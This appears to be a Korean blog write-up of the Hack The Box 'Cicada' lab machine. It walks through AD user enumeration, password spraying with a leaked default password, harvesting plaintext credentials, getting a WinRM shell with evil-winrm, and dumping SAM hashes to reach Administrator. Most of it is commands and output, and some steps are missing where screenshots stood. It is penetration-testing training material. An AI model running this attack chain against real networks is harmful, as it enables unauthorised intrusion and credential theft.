IP : 10.10.11.35
Nmap Enumeration
┌──(kali㉿kali)-[~/HTB/Machine/Cicada]
└─$ sudo nmap -sC -sV -p- -Pn -T4 -O -oN tcp_nmap 10.10.11.35
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-14 06:01 EST
Nmap scan report for 10.10.11.35
Host is up (0.20s latency).
Not shown: 65522 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-14 18:06:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
51556/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (89%)
Aggressive OS guesses: Microsoft Windows Server 2022 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h00m03s
| smb2-time:
| date: 2024-12-14T18:07:47
|_ start_date: N/A
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 417.74 seconds
- Kerberos (포트 88)
- LDAP/SSL LDAP (포트 389, 636)
- SMB (포트 445)
- MSRPC (포트 135, 593, 51556)
- WinRM (포트 5985)
위 타겟이 Active Directory임을 알 수 있으며, 사용자를 열거하기 위해 Kerbrute를 사용했다.
┌──(kali㉿kali)-[~/HTB/Machine/Cicada]
└─$ kerbrute userenum --dc 10.10.11.35 /usr/share/seclists/Usernames/top-usernames-shortlist.txt -d cicada.htb
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (9cfb81e) - 12/14/24 - Ronnie Flathers @ropnop
2024/12/14 06:10:47 > Using KDC(s):
2024/12/14 06:10:47 > 10.10.11.35:88
2024/12/14 06:10:47 > [+] VALID USERNAME: guest@cicada.htb
2024/12/14 06:10:47 > [+] VALID USERNAME: administrator@cicada.htb
2024/12/14 06:10:48 > Done! Tested 17 usernames (2 valid) in 0.402 seconds
위에 나온 guest 사용자를 이용해 smbclient에 비밀번호 없이 연결해보았더니 리스트가 출력되는 것을 확인할 수 있었다.

이에 netexec을 통해 --rid-brute를 통해 Domain User를 열거해본다.
┌──(kali㉿kali)-[~/HTB/Machine/Cicada]
└─$ netexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
이에 john.smoulder, sarah.dantelia, michael.wrightson, david.orelious, emily.oscars 총 5명의 도메인 사용자를 찾을 수 있다.
또한 guest 유저로 읽을 수 있는 SMB 폴더를 확인해본 결과, HR 폴더를 읽을 수 있었다.

┌──(kali㉿kali)-[~/HTB/Machine/Cicada]
└─$ smbclient \\\\10.10.11.35\\HR -U 'guest'
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 08:29:09 2024
.. D 0 Thu Mar 14 08:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 13:31:48 2024
4168447 blocks of size 4096. 409075 blocks available
smb: \> mget "Notice from HR.txt"
Get file Notice from HR.txt? y
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
smb: \> exit
---------
┌──(kali㉿kali)-[~/HTB/Machine/Cicada]
└─$ cat Notice\ from\ HR.txt
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
Notice from HR.txt에는 처음 팀에 들어오게 된 사람에게 보내는 파일이 있는데 이 안에는 계정의 초기 비밀번호가 " Cicada$M6Corpb*@Lp#nZp!8"임을 알려준다. 유출된 비밀번호를 hr_password로 지정해 찾은 5개의 사용자에 무차별 대입을 해본다.
┌──(kali㉿kali)-[~/HTB/Machine/Cicada]
└─$ netexec smb 10.10.11.35 -u cicada_user -p hr_password --continue-on-success
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
이에 michael.wrightson이 초기 비밀번호와 같은 것을 알 수 있다. rpcclient를 이용해 그룹과 사용자에 대해 열거해본다.
┌──(kali㉿kali)-[~/HTB/Machine/Cicada]
└─$ rpcclient -U 'michael.wrightson' 10.10.11.35
Password for [WORKGROUP\michael.wrightson]:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[john.smoulder] rid:[0x450]
user:[sarah.dantelia] rid:[0x451]
user:[michael.wrightson] rid:[0x452]
user:[david.orelious] rid:[0x454]
user:[emily.oscars] rid:[0x641]
rpcclient $> queryuser 0x452
User Name : michael.wrightson
Full Name :
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : Sat, 14 Dec 2024 14:31:10 EST
Logoff Time : Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Password last set Time : Thu, 14 Mar 2024 08:17:29 EDT
Password can change Time : Fri, 15 Mar 2024 08:17:29 EDT
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]...
user_rid : 0x452
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
rpcclient $> queryuser 0x454
User Name : david.orelious
Full Name :
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Just in case I forget my password is aRt$Lp#7t*VQ!3
Workstations:
Comment :
Remote Dial :
Logon Time : Fri, 13 Dec 2024 23:40:32 EST
Logoff Time : Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Password last set Time : Thu, 14 Mar 2024 08:17:30 EDT
Password can change Time : Fri, 15 Mar 2024 08:17:30 EDT
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]...
user_rid : 0x454
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
여기서 david.orelious의 계정에서 설명에 비밀번호가 "aRt$Lp#7t*VQ!3"임을 알려준다. 이 비밀번호를 이용해 netexec을 통해 smb에 다시 접근할 수 있는 폴더를 확인해본다.
netexec smb 10.10.11.35 -u david.orelious -p david_pass --shares

michael.wrightson과 다르게 DEV 폴더에 접근할 수 있었다.
┌──(kali㉿kali)-[~/HTB/Machine/Cicada]
└─$ smbclient \\\\10.10.11.35\\DEV -U 'david.orelious' --password 'aRt$Lp#7t*VQ!3'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 08:31:39 2024
.. D 0 Thu Mar 14 08:21:29 2024
Backup_script.ps1 A 601 Wed Aug 28 13:28:22 2024
4168447 blocks of size 4096. 407102 blocks available
smb: \> mget Backup_script.ps1
Get file Backup_script.ps1? y
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)
smb: \> exit

DEV 폴더에 접근해보면 Backup_script.ps1으로 powershell 스크립트가 있는데 스크립트 안에 emily.oscars의 비밀번호인 "Q!3@Lp#M6b*7t*Vt"가 있음을 알 수 있다. 이에 emily.oscars가 읽을 수 있는 폴더를 확인하기 위해 netexec을 사용해보면 C와

위 결과에서 보면 C$가 Read,Write에 ADMIN$이 READ 권한이 있는 것을 볼 수 있다. 이를 통해 해당 계정이 관리자 권한을 보유하고 있을 가능성을 추론할 수 있다. 이를 바탕으로 netexec를 활용해 WinRM 연결을 시도하였고, Evil-WinRM을 통해 원격 접속 가능 여부를 테스트했다.

Pwn3d! 메시지를 통해 WinRM 연결이 성공적으로 이루어진 것을 확인했다. 이로써 emily.oscars 계정을 사용하여 원격으로 대상 시스템에 접근할 수 있는 상태가 됐다. 이제 Evil-WinRM 도구를 활용하여 대상 서버의 Shell을 획득하려 한다.
evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Documents 폴더에 바로 sam, system이 존재하는 것을 볼 수 있다. 일반적으로 sam은 Windows 로컬 계정 정보(사용자 계정 이름 및 암호 해시)를 포함하고, system은 sam 파일의 정보를 복호화하는데 필요한 registry 키를 포함한다. 이에 파일을 가져와서 pypykatz를 사용해 복호화해보려 한다.
pypykatz registry --sam sam system

Administrator의 Hash 값이 출력된 것을 볼 수 있다. netexec을 통해 로그인이 되는지 확인해보려 한다.

이에 evil-winrm을 통해 관리자 계정으로 Shell을 얻어보면

관리자 권한으로 Shell을 얻은 것을 확인할 수 있다.
OSCP 관련 문제라고 그랬는데 그렇게 어렵지 않아서 좀 더 다른 머신을 풀어봐야겠다고 생각했다.

'Writeup' 카테고리의 다른 글
HTB Certified Machine - WriteUp (1) | 2024.12.17 |
---|---|
OSCP Proving Grounds Practice - Access (3) | 2024.12.02 |